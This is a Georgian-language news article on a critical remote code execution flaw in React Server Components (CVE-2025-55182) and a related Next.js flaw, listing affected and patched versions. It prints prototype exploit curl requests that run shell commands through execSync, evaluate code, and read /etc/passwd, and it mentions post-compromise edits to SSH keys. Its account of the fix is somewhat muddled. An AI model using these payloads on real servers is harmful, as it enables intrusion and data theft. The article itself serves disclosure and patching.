React-ის სერვერულ კომპონენტებში აღმოჩენილი [კრიტიკული] დაუცველობა

დავით მაჭახელიძე

React ვებ-ფრეიმვორკის სერვერულ კომპონენტებში (RSC, React Server Components) აღმოჩენილია დაუცველობა (CVE-2025-55182), რომელიც საშუალებას იძლევა თვითნებური კოდის დისტანციური ექსპლუატაციის. დაუცველობას მიენიჭა ძალიან მაღალი სერიოზულობის რეიტინგი (10-დან 10). დაუცველობა ვლინდება ინსტრუმენტარიუმში react-server-dom-webpack, react-server-dom-parcel და react-server-dom-turbopack, რომელიც გამოიყენება კომპონენტების ასაწყობად და სერვერული კომპონენტების სერვერზე შესასრულებლად, და არა კლიენტის მხარეს.

დაუცველობის ფაქტორი მდგომარეობდა შიდა მექანიზმის გამოყენებაში, რომელიც HTTP მოთხოვნებში იღებდა მონაცემებს და მათ JavaScript-კოდში ათავსებდა. გასწორება მდგომარეობდა requireModule ფუნქციაში შემოწმების “return moduleExports[metadata[NAME]];” დამატებაში, მაგრამ დეველოპერებს დაავიწყდათ დამატება hasOwnProperty შემოწმება:

   if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
       return moduleExports[metadata[NAME]];
   }
   return (undefined: any);

თავდაპირველად, ამ მექანიზმში არსებული დაუცველობა საშუალებას იძლეოდა JavaScript-კოდის სერვერის პრივილეგიებით შესრულებას (sandbox-ის შეზღუდვების გვერდის ავლით) და ფუნქციების “vm.runInThisContext”, “vm.runInNewContext”, “child_process.execFileSync” და “child_process.execSync” გამოყენებას. ასევე შესაძლებელი იყო ფუნქციების “fs.readFileSync” და “fs.writeFileSync” გამოყენება სერვერზე თვითნებური ფაილების წასაკითხად და ჩასაწერად, რაც გზას უხსნიდა ქმედებების შესასრულებლად გატეხვის შემდეგ (მაგალითად, შესაძლებელი იყო ~/.ssh/authorized_keys და ~/.bashrc-ის შეცვლა). ამასთან, მომხმარებლის ავთენტიფიკაცია არ იყო საჭირო. წარმოდგენილია ექსპლოიტის პროტოტიპი.

   # whoami ბრძანების გაშვება
   curl -X POST http://localhost:3002/formaction \ 
     -F '$ACTION_REF_0=' \ 
     -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

   # JavaScript-კოდის 1+1 შესრულება
   curl -X POST http://localhost:3002/formaction \ 
     -F '$ACTION_REF_0=' \ 
     -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

   # ფაილის /etc/passwd წაკითხვა
   curl -X POST http://localhost:3002/formaction \ 
     -F '$ACTION_REF_0=' \ 
     -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

შემდგომმა ანალიზმა აჩვენა, რომ ზემოთ აღწერილი ექსპლოიტები არ რეპროდუცირდება react-server-dom-webpack, react-server-dom-parcel და react-server-dom-turbopack ინსტრუმენტარიუმის თავისებურებების გამო (უფრო ზუსტად, ვებ-ფრეიმვორკმა შესაძლოა არ გამოიყენოს ისინი, არამედ გენერირება მოახდინოს სერვერის მხარეს). დამატებით, ისინი არ გამოიყენება react-server-ის მიერ, რომელიც ნაგულისხმევად მოყვება.

რამდენად ფართოდ არის გავრცელებული აღწერილი დაუცველობა და რა ზომით ზარალდება React-ის გამოყენებით შექმნილი პროექტები, ჯერჯერობით გაურკვეველია. ნებისმიერ შემთხვევაში, React იკავებს ყველა გამოყენებული ვებ-ფრეიმვორკის 50%-ზე მეტს (ვებ-საიტების დაახლოებით 6%), და მრავალი მსხვილი პროექტი იყენებს მას თავიანთი სერვერული კომპონენტების შექმნისას. ასეთი პროექტები მოიცავს React-ზე დაფუძნებულ ფრეიმვორკებს, როგორიცაა Next.js და react-router. Wiz Research კომპანიის შეფასებით, Next.js React-ისთვის გამოიყენება საჯარო JavaScript-პროექტების 39%-ში.

საუკეთესო შემთხვევაში, დაუცველობა მხოლოდ იმ ფრეიმვორკებს ეხება, რომლებიც იყენებენ React Server Components-ს სერვერის მხარეს (საკუთარი React-სერვერები გაცილებით იშვიათად გამოიყენება კოდის სერვერის მხარეს გენერირებისთვის), და მხოლოდ იმ შემთხვევაში, თუ გამოყენებულია დაუცველი ვერსიები JavaScript-კოდის შესასრულებლად და არავალიდირებული შეყვანის მონაცემებით. დაუცველი პაკეტების ჩამოტვირთვების რაოდენობა NPM სტატისტიკის მიხედვით: react-server-dom-webpack – 670 ათასი კვირაში, react-server-dom-parcel – 7 ათასი და react-server-dom-turbopack – 32 ათასი ჩამოტვირთვა, საერთო NPM პაკეტის React დაახლოებით 45 მლნ ჩამოტვირთვით კვირაში.

დაუცველობა ვრცელდება React 19.0.0, 19.1.0, 19.1.1 და 19.2.0 ვერსიებზე და გასწორებულია React-ის გამოშვებებში 19.0.1, 19.1.2 და 19.2.1. ასევე, დაუცველობა ვლინდება პროექტებში, რომლებიც იყენებენ react-router-ს (20 მლნ ჩამოტვირთვა კვირაში), waku-ს, @parcel/rsc-ს (Parcel RSC plugin), @vitejs/plugin-rsc-ს (Vite RSC plugin) და rwsdk-ს (RedwoodSDK). React Router-ში დამატებულია შემოვლითი გზა მესამე მხარის RSC ბიბლიოთეკების გამოსაყენებლად.

მსგავსი დაუცველობა (CVE-2025-66478) აღმოფხვრილია RSC (React Server Components) სერვერულ კომპონენტებში Next.js ფრეიმვორკში (16 მლნ ჩამოტვირთვა კვირაში). დაუცველობა ეხება პროექტებს, რომლებიც იყენებენ App Router-ს Next.js 15.x და 16.x ვერსიებში. რეკომენდებულია შეამოწმოთ, გამოიყენება თუ არა დაუცველობა თქვენს Next.js პროექტში შექმნისას (ჩართული სერვერული კომპონენტები, create-next-app ბრძანების გამოყენება, კოდის იმპლემენტაცია). დეველოპერების მიერ გამოშვებულია შესწორებები Next.js-ის ყველა გამოშვების განშტოებისთვის: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 ან 16.0.7.

დამატება: დაუცველობის კვლევის ავტორები არ ეთანხმებიან დეველოპერებს. უფრო დეტალურმა ანალიზმა აჩვენა, რომ კოდში მაინც შესაძლებელია თვითნებური შესრულების მიღწევა, მაგრამ vm, child_process და fs ფუნქციებთან ოპერაციები გამორთულია (ამ შემთხვევაში შეუძლებელია თვითნებური კოდის შესრულების მიღწევა JavaScript ძრავის შეზღუდვების გამო).